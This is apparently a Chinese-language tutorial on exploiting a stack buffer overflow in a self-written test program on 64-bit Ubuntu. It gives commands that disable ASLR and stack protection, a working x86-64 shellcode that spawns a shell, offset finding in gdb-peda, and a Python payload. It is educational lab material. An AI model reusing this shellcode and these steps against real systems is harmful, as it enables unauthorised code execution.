this is a test, not true
0x00准备
本次实验的机器为
Ubuntu 16.04.2 LTS
64位系统需要关闭ASLR,
echo 0 > /proc/sys/kernel/randomize_va_space
,如果提示权限不够,可能需要用su
提升权限用
gcc
编译需要关闭stack-protector
,允许栈的执行权限execstack
需要
gdb
peda
python2
需要一串
shellcode
,本次使用\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05
一段计算地址的c语言程序
getenvaddr
,源码在github可以找到,也可以选择下面的编译1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
int main(int argc, char *argv[]) {
char *ptr;
if (argc < 3) {
printf("Usage: %s <environment var> <target program name>\n", argv[0]);
exit(0);
} else {
ptr = getenv(argv[1]); /* Get environment variable location */
ptr += (strlen(argv[0]) - strlen(argv[2])) * 2; /* Adjust for program name */
printf("%s will be at %p\n", argv[1], ptr);
}
return 0;
}
攻击目标
test.c
,自己写的很简单1
2
3
4
5
6
7
8
int main(){
char buf[10];
read(0,buf,40);
puts("23333\n");
return 0;
}
0x01分析
通过观察很容易发现程序存在溢出漏洞,字符数组buf只申请了10个字节(10×1)的空间,而read函数却读入了40个字节。使用gcc -g -fno-stack-protector -z execstack -o test test.c
编译源文件,用gdb
调试程序
查看main函数处的汇编代码:
1 | gdb-peda$ disassemble main |
程序执行到调用read函数,call
指令会将下条指令的地址入栈,也就是0x400584
,作为返回地址,然后将程序控制权交给read函数。
下面这张图是一般函数栈的构造:
这里栈内大概是这个样子:
1 | rbp <- 高地址 |
然后read函数读入数据,程序给buf变量实际分配了16字节,为了寻址的方便还有一部分作为保留,一定程度上避免了溢出的发生。
尝试输入32字节的数据0123456789abcdef0123456789abcdef
1 | gdb-peda$ run |
程序发生了溢出,并且停在了ret
指令处,很容易发现rsp
,rbp
处的值似乎都被输入覆盖了。
所以read读取完发生了什么?此时栈相当于:
1 | 0x400584 ;返回地址 <- 高地址 |
函数需要返回,有一条leave
指令,将rbp
拷贝到rsp
中,相当于清除了为局部变量分配的空间,此时栈相当于:
1 | 0x400584 ;返回地址 <- 高地址 |
leave
指令还有一个作用是弹栈,即将栈顶的数据弹出到ebp
中,也就恢复了main函数的堆栈帧,此时栈相当于:
1 | 0x400584 ;返回地址 <- 高地址 |
接下来,有一条ret
指令,弹栈,即将栈顶的数据弹出到rip
中,因为rip
存储的是当前指令的地址,也就是将返回地址存入了下一个指令的地址,达到了控制权从read函数到main函数的目的。
这时,思路就很清晰了,只需要合适的数据将返回地址覆盖,程序就会跳转到合适的地方。
0x02确定返回地址的偏移量
首先,我们需要确定输入到达返回地址所需字节数。
可以使用peda
的pattern_creat
创造一个40字节的字符串:
1 | gdb-peda$ pattern_create 40 a.txt |
将字符串传入并执行
1 | gdb-peda$ r < a.txt |
程序停在了ret
指令的地方,因为覆盖返回地址的是一串无意义的值,无法进行跳转,上一步操作将rbp
(寄存器)的值拷贝到rsp
(寄存器)中,导致rsp
指向了存储返回地址的栈空间,通过查看rsp
指向的栈的数据,可以算出返回地址在栈中,相距未读入数据时栈顶的偏移量。
1 | gdb-peda$ x/wx $rsp |
可以看出原本存放返回地址的的栈上现在存放的是0x44414128
用pattern_offest
计算偏移量
1 | gdb-peda$ pattern_offset 0x44414128 |
OK,偏移量为24,也就是说输入值的前24个字节是任意的(注意不要存在\x00
之类的字节,可能会导致读入终止),接在后面存入8个字节的地址,就能够实现跳转。
0x03确定shellcode的地址
因为选择的shellcode地址
为27字节,前面的填充数据要用24字节,合起来超过40字节,无法写入,不如将包含shellcode
的指令放入系统环境,用于测试
1 | export PWN=`python -c 'print"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"'` |
用getenvaddr
来确定PWN
变量对test
输入的地址
1 | $ export PWN=`python -c 'print"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"'` |
得到地址0x7fffffffed03
0x04编写Payload
用python的struct模块写payload的话很方便
1 | from struct import * |
pack
函数用来处理数据很方便:)
pack(format,var0,var1...)
按照给定的格式(format),把后面数据封装成字符串,<
是按照小端序,Q
是无符号的八字节整数
0x05测试
通过管道的方式输入文件的数据
1 | $ (cat a.txt;cat)|./test |
经过测试,确实的得到了shell
0x06总结
主要是搞清楚函数调用与返回时栈的变化,测试过程中关闭了防护措施
- ASLR
- stack-protector
- execstack